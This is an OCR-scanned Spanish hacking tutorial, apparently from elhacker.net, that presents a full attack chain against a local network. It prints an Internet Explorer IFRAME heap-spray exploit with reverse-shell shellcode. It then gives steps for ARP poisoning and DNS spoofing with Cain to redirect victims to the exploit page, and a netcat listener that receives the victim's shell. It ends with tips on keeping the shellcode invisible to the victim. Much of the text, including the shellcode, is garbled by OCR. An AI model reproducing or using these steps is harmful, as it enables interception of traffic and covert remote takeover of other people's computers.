/7 \x98\x98\x92\xD7 codificado en UTF-16 -> %u98**%u9298%u**D7

// @ Puerto 8721

shellcode =
unescape ("'%u4343%u4343%uE1D9%u34D9%u5824%u5858%u8058%uE7E8%uC931%u8166%UACE9%UB80FE%U9230
%uE240%u7AFA%U92A2%u9292%uDFD1%u92D6%UEB75%UEB54%u6B7E%uUF238%u9B4B%u3F67%u7F59%uA96E%uUDC
1C%u7E9C%U4AECHUEL70%u4B3F%u5CI7%u6CEO0%U8421%uC1C5%uCDAO0%UAOAL%UDEBCHUDEDE%U9392%uC6C9%u
771B%uCF1B%uF892%uCBA2%ul19F6%u1993%u9ED2%uUE219%u3F8E%uCA19%u799A%ulFIE%UB6C5%uUCOC3%u426D
%u511B%u79CB%uF882%uCCOA%U7CO3%u9AF8%ul9CB%BUO2EF%U6B12%UE696%uC376%u6DC1%ulDAG6%ULAT7A%U92
92%uCB92%u961B%u701C%UA379%uF46D%u7E13%u9302%uFAC6%u9393%u9292%uC76D%uC58A%uC5C5%uD5C5%u
D5C5%u6DC5%u86C7%u511B%u6DA3%u98FA%U9298%uFAD7%u9290%u83B0%u731B%u82F8%uC1C3%uC76D%ul782
%uE752%ulFDB%UB6AE%U52A3%u87F8%u61CB%u5439%uB6D6%uD682%u55F4%uB6D6%U93AE%U1BI3%uB6CE%U1B
DA%uB6CE%u1BDE%uUB6CE%U1FC2%uB6D6%UC682%uC3C2%uC3C3%uC3D3%uC3DB%u6DC3%u92E7%u6DC3%uBAC7%uU
731B%u9C79%u6DFA%U6D6D%U6D6D%U6DA3%UB6C7%u6DC5%U9EC7%uUC76D%uC1B2%uC4C7%ul9C5%uB6FE%U198A
%UAED7%uUC619%UEA97%u7893%uD819%u198A%uB2C8%u7993%uA071%ul19DB%ul9A6%u7C93%u6DA3%UAIBE%U3E
52%u72AA%U95E6%u5D53%u939F%u7955%uA960%uB6EESUE786%u1973%uB6C8%u7993%ul9F4%uDI9E%uC819%u
938E%u1979%u1996%u7A93%u9079%u52A3%u781B%uCCCD%uCICF%u9A50%u6592%u446D%u4F58%u0052™) ;

// Nopslide will contain these bytes:

bigblock = unescape(*'%u0D0OD%u0ODOD™) ;

// Heap blocks in IE have 20 dwords as header

headersize = 20;

// This is all very 1337 code to create a nopslide that will fit exactly

// between the the header and the shellcode in the heap blocks we want.

// The heap blocks are 0x40000 dwords big, 1 can®"t be arsed to write good

// documentation for this.

slackspace = headersize+shellcode.length

while (bigblock.length<slackspace) bigblock+=bigblock;

Ffillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block. length+slackspace<0x40000) block = block+block+fillblock;

// And now we can create the heap blocks, we"ll create 700 of them to spray

// enough memory to be sure enough that we"ve got one at 0xODODODOD

memory = new Array();

for (i=0;i<700;i++) memory[i] = block + shellcode;

</SCRIPT>
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<l-—
The exploit sets eax to 0xODODODOD after which this code gets executed:

7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
[0xODODODOD] == 0x0DODODOD, so ecx = 0xO0DODODOD.

7178EC04 68 847B7071 PUSH 71707B84

7178EC09 50 PUSH EAX

7178ECOA FF11 CALL NEAR DWORD PTR [ECX]

Again [0x0DODODOD] == 0x0DODODOD, so we jump to OxODODODOD.
We land inside one of the nopslides and slide on down to the shellcode.

-—>

<IFRAME
SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
NAME=""CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCccceeecceeececeeecccceeeccecccece
CCCCCCCCCCCCCCeeeeeceeeecceeeeeceeeeeccceeeeccceeeeccceeeeccceeececceeeecccceecccccceeccce
CCCCCCCCCCCCCeeeeeceeeeccceeeeccceeeeccceeeeccceeeeccceeececeeeeccceeeecccceecccccecececcce
CCCCCCCCCCCCceeeeecceeeeecceeecccceeecccceeececceeeeccceeececceeecccceeeccccceecccccceecccce
CCCCCCCCCCCCCCCCCCcceeecccceeececceeecccceeecccceeccccceececceeeceecceeecccceeccceccececcce
CCCCCCCCCCCCCCeeeeceeeeeceeeeeeceeeeeeceeeeeecceeeeccceeeeccceeecccceeecccceecccccecececcce
CCCCCCCCCCCCCeeeeeceeeecceeeeecccceeeecceeeeccceeeeccceeececeeeeccceeeecccceeeccccecececcce
CCCCCCCCCCCCCeeeeceeeeececceeecccceeececceeeecceeeeccceeececceeecccceeeccccceecccccceecccce
CCCCCCCCCCCCCCCecccceeecccceeececceeececceeeeccceeecccceeccecceeececceeecccceecceccececccee
CCCCCCCCCCCCCLeeceeeeeeecceeeeeccceeeccceeeeccceeeeccceeeeccceeeecceeeecceceeccccceceeccce
CCCCCCCCCCCCCeeeeeceeeeecceeeeccceeeeccceeeeccceeeeccceeeecceeeeccceeeecccceceeeccccecececccce
CCCCCCCCCCCCCCeeeeceeeecccceeeeccceeececceeeccceeeeccceeececceeecccceeecccceecceccceecccce
CCCCCCCCCCCCCCCececceeecccceeececceeececceeeeccceeecccceeccecceeececceeecccceeccecceecccee
CCCCCCCCCCCCCLeececeeeeecceeeeeccceeecceeeeeccceeeeccceeeeccceeeccceeeecccceecccccecececccee
CCCCCCCCCCCCCeeeeeceeeeccceeeecccceeeccceeeecceeeeecceeeeccceeeeccceeeecccceeccccceceecccce
CCCCCCCCCCCCCreeececeeececceeecccceeececceeeccceeeeccceeececceeecccceeeccccceeccecccececccce
CCCCCCCCCCCCCCCecccceeeececeeececceeecccceeecccceeecccceececceeececceeecccceeccecceecccece
CCCCCCCCCCCCCCeeeeeceeeeeeeeeeeceeeeecceeeeeccceeeeccceeeeccceeecccceeececceecccccececcce
CCCCCCCCCCCCCeeeeeceeeececeeeeccceeeeccceeeeccceeeeccceeeecceeeecccceeecccceeccccceececcce
CCCCCCCCCCCCCeeeececeeeecceeeecccceeececceeececceeeeccceeececceeecccceeeccccceecccccceecccce
CCCCCCCCCCCCCCCCCCcceeeececeeecccceeecccceeecccceeccccceeccecceeececceeecccceeccecceecccee
CCCCCCCCCCCCCCCececceeecceceeececceeececceeecccceeecccceeccecceeececceeecccceeccecceecccece
CCCCCCCCCCCCCCeeeeeceeeecceeeeeceeeeeccceeeeccceeeeccceeeeccceeececceeeecccceecccccceeccce
CCCCCCCCCCCeeeeeeeeeeeecceeeeececceeeccceeeecccceecceccececcccceececc  ></ 1FRAME>
</HTML>

elhacker.net : PAPERS 12



Gospel feat. LoReDo Taller practico de Intrusién en Redes Locales

Aplicaciéon Préactica de Intrusién en Redes Locales

1. Instalar, configurar y poner en funcionamiento el Servidor HTTP complice.
Yo he elegido instalar el Servidor HTTP Apache. Para ello, dirigirse a
http://httpd.apache.org/download.cgi y descargarse el Win32 Binary.

2. Instalar el exploit .html malicioso como index.html del Servidor HTTP.
Copiamos el codigo, lo guardamos como index.html y lo depositamos en la
carpeta C:\Apache\Apache2\htdocs)\ del Servidor HTTP complice.

3. Instalar, configurar y poner en funcionamiento el Sniffer Cain en el equipo
atacante.

4. Envenenar las tablas ARP del equipo victima y del router (Puerta de Enlace).

Las respectivas tablas ARP
- del equipo victima:

Interfaz: 10.10.0.254 --- 0x2
Direccion IP Direccion fisica  Tipo
10.10.0.33 00-C0-49-44-b1-d5 dinamico
10.10.0.69 00-05-1c-0a-ab-92 dinamico

- del router (Puerta de enlace):

Interfaz: 10.10.0.33 --- 0x2

Direccion IP Direccion fisica  Tipo
10.10.0.69 00-05-1c-0a-ab-92 dinamico
10.10.0.254 00-20-18-b0-06-df dinamico

deben ser envenenadas de forma que la nueva configuracion sea:
- del equipo victima:

Interfaz: 10.10.0.254 --- 0x2
Direccion IP Direccion fisica  Tipo
10.10.0.33 00-05-1c-0a-ab-92 dinamico
10.10.0.69 00-05-1c-0a-ab-92 dinamico

- del router (Puerta de enlace):

Interfaz: 10.10.0.33 --- 0x2
Direccion IP Direccion fisica  Tipo
10.10.0.69 00-05-1c-0a-ab-92 dinamico
10.10.0.254 00-05-1c-0a-ab-92 dinamico
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El Sniffer Cain permite efectuar este proceso de forma sencilla y automatica. En

la pestania Sniffer, subpestana APR, pulsar el boton + y aparecera el siguiente
cuadro, donde podemos seleccionar los dos equipos de la red cuyas tablas ARP

Taller practico de Intrusién en Redes Locales

van a ser envenenadas:

flew ARP Poison Routing

(5]

WwWARMNIMNG

APR enables vou to hijack IP traffic between the selected host on the left list and all
zelected hosts on the right list in both directions. |f a selected host haz routing capabilities
WA traffic will be intercepted alzo. Pleaze nate that since your maching haz nat the
zame perfarmance of a router pou could cause DoS if vou zet APR bebween your Default
Gateway and all other hozts on pour LAN.

IF address | Mac |« | IP address | tac |
10.10.0.97 0011 2F34DEEC 10.10.0.64 O00CEEDEEE 7D
10.10.0.93 O0SOFCFATC2 1010.0.61 000ACD0321E2
10.10.0.99 0007 29007344 1010.0.57 O00AE 4480719
10.10.0.100 EZEED004CEED 1010.0.51 00400051 33E0
1010.0.102 O04F 4E 123228 1010.0.47 O00E 2E0C4CER
1010.0.105 O00AE 53540E 2 1010.0.42 000DE0770CCE
1010.0.106 O00E7E0091FD 10.10.0.33 00C04544B105
10.10.0.149 001180230 9B E m 1010.0.27 000000000000
1010.0.175 O0G0677G0EC4 1010.0.25 000CF1 91503F
10.10.0.254 O02018B00EDF  + | 10.10.0.24 O000395SEDEZ -
1§ . B 1§ . B
Ok, I Cancel |

-

Es posible cambiar las propiedades por defecto del médulo de Envenenamiento

ARP:

Configuration Dialog

Brute-Force Options |
APR [ Arp Poison Routing |

Dictionary Options
Siffier

Traceraute |

.

e

— Spoofing Options
¥ Use Real IP and MAC addresses
" Ize Spooted IP and MAL addresses

|p;| 0.0 0 . 0 wac: | 001122334455

— Pre-Poizoning
[ Pre-Poizon ARP caches [ Create ARP entries |

— Poizoning

Poizon remaote ARP caches every: 30 _I zeconds

{* Ilze &RP Reply Packets
" IUsze 8RP Fequest Packets [More Network Traffic)

Aceptar I

Cancelar

ApliEar
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Activamos el Sniffer y el moédulo de Envenenamiento ARP (APR):

-
M Fie ‘View Configure Tools Help
oo+ o
Hf  Protected Storage | Lsa secrats | D network [&lp snitter [ cracker [ Traceroute [MED coou |

Status I IP address I MAC address I Packets -= I =- Packetzs I MAC address I IP address I
& Paoizoning 10.10.0.254 00201 8B0060F 0 0 00C045448105 10.10.0.33

y ya tendremos los dos equipos envenenados de forma que el trafico que
intercambien va a circular por el equipo del atacante.

5. Envenenar la traduccion DNS de las paginas mas susceptibles de ser
accedidas por la victima. Aunque yo s6lo he querido envenenar el nombre de
dominio de Google y alguno mas, podéis envenenar muchos y asi la victima
caera antes en nuestra trampa.

Podéis anadir la entrada DNS a envenenar desde la pestana Sniffer, subpestafia

APR-DNS, pulsando el boton +. Aparecera el siguiente cuadro, donde podemos
introducir el nombre de dominio a ser envenenado y la direccion IP a donde
queramos que sea redireccionada la peticion.

i M

DS Spoofer for APR )

—DMS Mame Requested

Iwww. google. es

— P addresz to rewrite in rezponge packets
I 10 .10 . 0 . 250 Resolve

] I Cancel |

Como he dicho antes, podemos afiadir también otros nombres de dominio:

u File “iew Configure Toolz Help

we|+o B <
ﬁ Protected Storaoe Iﬁ LS4 Secretz I@ PEtnork I@ Sniffer I@‘ﬂ Cracker I@

Feguested DMNS name | Spoofing P | #Resp. Spoofed |
sy hiotmail.com 10400250 ]
sy S OnKEE Com 10400250 ]
Wy yahoo es 10100250 1]
google es 10100250 1]
yahao e 10.10.0.250 ]
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6. El atacante debe dejar el netcat a la escucha en el puerto 8721, tal y como
especificamos anteriormente durante el proceso de modificacién de la Shellcode
del exploit IFRAME.

B Simbolo del sisterna - no-1-p 8721 -w -0 ﬂ

Microsoft Windows XP [Uersion 5.1.26801
(C» Copyright 19852801 Microsoft Corp.

C:nrnc -1 —p 8721 —uu
listening on [anyl 8721 ...

7. Ahora s6lo queda esperar a que la victima intente acceder con su navegador
IE a cualquiera de los nombres de dominio que hemos envenenado. Cuando esto
ocurra, la peticion DNS sera procesada por el equipo atacante, situado como
Man in the Middle, y redireccionada al .html malicioso situado en el Servidor
HTTP complice. La victima descargara el exploit .html en su navegador y se
explotara la vulnerabilidad, ejecutandose el contenido de nuestra Shellcode
modificada.

En ese mismo instante, el atacante recibird una reverse shell remota en el
puerto 8721 en escucha:

B Simbolo del sistema - ne-1-p 8721 - -0 ﬂ

Microsoft Windows XP [Uersion 5.1.26801
(C» Copyright 1985%-2001 Microsoft Corp.

C:s>nc -1 —p 8721 —vv

listening on [anyl 8721 ..

connect to [1A.18.8.691 from SERVIDOR [1B.10.@.2541 4869
Microsoft Windows XP [Uersidn 5.1.26801

(C>» Copyright 1985%-2001 Microsoft Corp.

C:“Documents and Settings“Neo“EscritorioX
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Algunas consideraciones sobre la Shellcode

Aunque hemos adaptado una Shellcode Reverse Shell extraida del exploit
Windows JPEG GDI+ All in One Exploit

@ http://www.k-otik.com/exploits/09272004.JpegOfDeathM.c.php, no
garantizamos el funcionamiento de otras Shellcodes extraidas de otros cédigos
exploits. Asimismo, tampoco garantizamos que, a pesar de que funcionen
correctamente, su ejecucion sea invisible para el usuario victima.

Hemos probado otras Shellcodes como:

- HDM's reverse shell Shellcode @ http://metasploit.org/sc/win32_reverse.c

- HDM's bind port Shellcode @ http://metasploit.org/sc/win32_bind.c

- BFI's reverse shell Shellcode @ http://bfi.freaknet.org/dev/fr/BFi12-dev-04-fr
y aunque las tres funcionan perfectamente, muestran una ventana de consola
CMD.EXE en el escritorio de la victima durante su ejecucidn. Si la victima cierra
esa ventana de consola, la reverse shell se desconecta del atacante.

A diferencia de estas Shellcodes, la Shellcode Reverse Shell del exploit GDI+
finaliza su proceso de ejecucidon cuando devuelve la reverse shell a la direccion
connectback IP y puerto especificados, de forma que no muestra ninguna
ventana de consola en el escritorio de la victima.

Por tanto, recomendamos que antes de colgar ningan .html malicioso, este sea

testeado en condiciones de control bajo el atacante para determinar si la
ejecucion de su Shellcode resulta o no transparente.
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